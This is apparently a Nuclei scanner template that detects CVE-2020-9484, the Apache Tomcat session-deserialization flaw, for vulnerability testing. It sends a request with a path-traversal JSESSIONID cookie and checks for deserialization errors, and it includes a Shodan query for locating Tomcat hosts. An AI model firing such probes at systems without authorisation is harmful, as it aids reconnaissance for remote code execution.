50 lines
2.1 KiB
YAML
50 lines
2.1 KiB
YAML
id: CVE-2020-9484
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info:
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name: Apache Tomcat Remote Command Execution
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author: dwisiswant0
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severity: high
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description: |
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When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if
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a) an attacker is able to control the contents and name of a file on the server; and
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b) the server is configured to use the PersistenceManager with a FileStore; and
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c) the PersistenceManager is configured with sessionAttributeValueClassNameFilter="null" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and
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d) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.
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Note that all of conditions a) to d) must be true for the attack to succeed.
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reference:
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- http://packetstormsecurity.com/files/157924/Apache-Tomcat-CVE-2020-9484-Proof-Of-Concept.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-9484
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- https://lists.apache.org/thread.html/r77eae567ed829da9012cadb29af17f2df8fa23bf66faf88229857bb1%40%3Cannounce.tomcat.apache.org%3E
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- https://lists.apache.org/thread.html/rf70f53af27e04869bdac18b1fc14a3ee529e59eb12292c8791a77926@%3Cusers.tomcat.apache.org%3E
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classification:
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cvss-metrics: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7
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cve-id: CVE-2020-9484
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cwe-id: CWE-502
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metadata:
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shodan-query: title:"Apache Tomcat"
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tags: rce,packetstorm,cve,cve2020,apache,tomcat
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requests:
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- method: GET
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headers:
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Cookie: "JSESSIONID=../../../../../usr/local/tomcat/groovy"
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path:
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- "{{BaseURL}}/index.jsp"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 500
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- type: word
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part: body
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words:
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- "Exception"
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- "ObjectInputStream"
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- "PersistentManagerBase"
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condition: and
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# Enhanced by mp on 2022/04/04
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